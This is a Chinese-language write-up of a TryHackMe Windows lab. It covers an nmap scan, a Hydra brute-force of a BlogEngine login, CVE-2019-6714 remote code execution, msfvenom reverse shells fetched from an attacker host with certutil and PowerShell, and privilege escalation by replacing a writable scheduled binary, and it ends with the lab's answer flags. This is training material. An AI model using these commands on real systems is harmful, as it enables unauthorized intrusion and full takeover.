端口扫描

sudo nmap –min-rate 10000 -p- 10.10.116.243 -Pn

扫描全部端口,设置最小速度为10000

sudo nmap -sT -sV -O -p80,3389 10.10.116.243 -Pn

对指定的端口用TCP协议扫描,扫描版本号和操作系统

Web

登录网站

要求得到小丑的名字,直接百度识图,是一部电影,主角叫Pennywise

爆破密码

根据THM提示,在登录界面用Hydra爆破密码,账户名猜测为admin

在这之前用bp抓个包,随便输入1 1

将__VIEWSTATE到”Login+in”作为表单数据,Login failed为报错信息(在输入错误的用户名密码搭配时的提示错误信息)

表单路径为/Account/login.aspx

于是最终命令为(字典随便选了一个):

sudo hydra -l admin -P /usr/share/wordlists/SecLists-master/Passwords/darkweb2017-top1000.txt 10.10.116.243 http-post-form "/Account/login.aspx:__VIEWSTATE=K4CgAa1Th%2BhdGZLfwD7NIA1BHmf%2FIYs6BcBW5UtEuAtVa9zA%2B7DI6GWhvZ38QWH1qBUGKo%2FdIUm%2Fb9FbG6Ujrl1XK4JR%2Btk6eOOaonNpMXWsAZj8Srz8J%2Bc1Rnd%2BVhfE6Hh26Hj4tMT85WfApMZgbkhORPFXtuna7N88cchM1sngeRBchVphciiMXhUHmSx6GsGmwCMjtlSePOI9x9wm7MHpyxv5oQdto5lEtsfGuusOwZLNT9LWG2k%2FY5Q7uJ%2BzawK1IHkEAR9pF23znCgaOJM3JLtplryPLoW%2Fo7cfHnvYicjLehfmf%2B5rRR1P7hqrQbFNDu%2BV2DW%2B6GzLW945cN26vXY8%2BbNDaVNM737vlNAQB9zB&__EVENTVALIDATION=e3oUmKaleqpbGBXNwomw4F5hkjW%2FCoWW6cC0Fr%2Fda4qIg%2F2JazIQhqllZmlYuhwv%2B%2FoXtFHOuc59mkh3sG7pPJzEHM%2BpxhgTpjvj3H8fRFXl9lSFIWwRle%2BkDMdhxUtI1WX8XPX%2Bl9vm2%2BBc9x6r2Ff1dahEW5exy94%2BY1lDMJC4U7vh&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed" -V 

得到密码为1qaz2wsx

成功进入网站后台!

RCE

博客版本可以在about界面得到

https://www.exploit-db.com/ 搜索得到CVE并且对应版本 CVE-2019-6714,进入下载得到脚本

翻译脚本上方的英文得知用法

先将脚本重命名为PostView.ascx才能被执行(这里之前忽略了md卡了好久

将51行IP改成自己的攻击机

在攻击机中开启监听

sudo nc -lvnp 4445

访问/admin/app/editor/editpost.cshtml

在上传界面上传下载的脚本(吐槽一句,不知道为什么打THM时访问web网页加载特别慢…)上传完就行了,不用点保存什么的

然后访问:/?theme=../../App_Data/files来触发脚本

成功得到shell

输入whoami得到现在的用户名

iis apppool\blog

转移shell

将shell转移至msf来获得更好的shell

先开启监听(差点又没设置payload,又浪费了好多时间,被thm网页加载速度折磨,悲)

set PAYLOAD windows/meterpreter/reverse_tcp

set LPORT 1235

set LHOST tun0

run

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.52.15 LPORT=1235 -e x86/shikata_ga_nai -f exe -o reverse.exe

来生成一个windows的反向shell

python3 -m http.server 开启Python服务器

试着用

Certutil -urlcache -f http://10.11.38.245:8000/reverse.exe reverse.exe 

powershell -c wget "http://10.9.202.151:8000/reverse.exe" -outfile "reverse.exe"
reverse.exe

将shell下载,发现没有权限,于是切换到临时目录

可以cd c:\Windows\Temp 再进行下载

发现shell成功下载

输入reverse.exe运行

发现成功转移shell

提权

sysinfo指令可以获取当前版本号为Windows 2012 R2 (6.3 Build 9600)

ps查看当前启动的进程

试了几个都没试出来(),看了下WP,用的winpeas https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASbat

upload winPEAS.bat 来上传脚本,之前不太理解为什么拿到shell只要还要转移到msf,现在才知道msf的强大

然后在meterpreter运行”shell”来建立一个新的回话shell,不然好像运行不了脚本

建立之后输入winPEAS.bat来运行,嘶,找了半天没找到WP所说的东西,后来问了下群里的师傅说winPEAS各不相同,差异还挺大的。那路或多

不知道为什么是c:\Program Files (x86)\WindowsScheduler

先跳过,cd至c:\Program Files (x86)\SystemScheduler\Events>目录

根据thm提示,查看日志文件发现Message.exe每30秒运行一次:这似乎是是个利用点

所以可以利用的二进制文件就是Message.exe

切换到meterpreter,这里发现当目录中有空格时还要引号引起来,不然会提示目录不存在

查看Message.exe的权限

100777/rwxrwxrwx 536992 fil 2018-03-26 01:58:56 +0800 Message.exe

发现对所有用户都有读写执行的权限,所以试着把替换成想要的执行文件就行

故再次使用生成shell,这次使用1236端口,三次的端口不一样防止冲突

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.38.245 LPORT=1236 -e x86/shikata_ga_nai -f exe -o Message.exe

然后我们再另外个窗口再开启个msf实例并像之前一样开启个监听器

然后切换至之前的meterpreter回话,upload Message.exe来上传覆盖先前的Message.exe,过一会儿后发现之后建立的监听器成功监听

好像还没有whoami命令,用getuid,发现成功提权,是管理员用户

转移至/Users/jeff/Desktop 愉快cat user.txt

759bd8af507517bcfaede78a21a73e39

然后cd 至/Users/Administractor/Desktop cat root.txt

7e13d97f05f7ceb9881a3eb3d78d3e72

最后在shell里运行systeminfo或者在meterpreter运行sysinfo获取系统信息,得到原始安装时间

8/3/2019, 10:43:23 AM

好像在winpeas里也能看,但目前对这个脚本不太熟,以后慢慢学()

碎碎念

这个靶机真的是目前打过来最耗时间也最折磨的一个,一是thm的网页加载实在是太慢,连shell就连了好久还卡出去好几次(恼

然后就是windows提权还是不太熟练,对我windows的shell,操作系统什么的相对于linux来说都不太熟悉。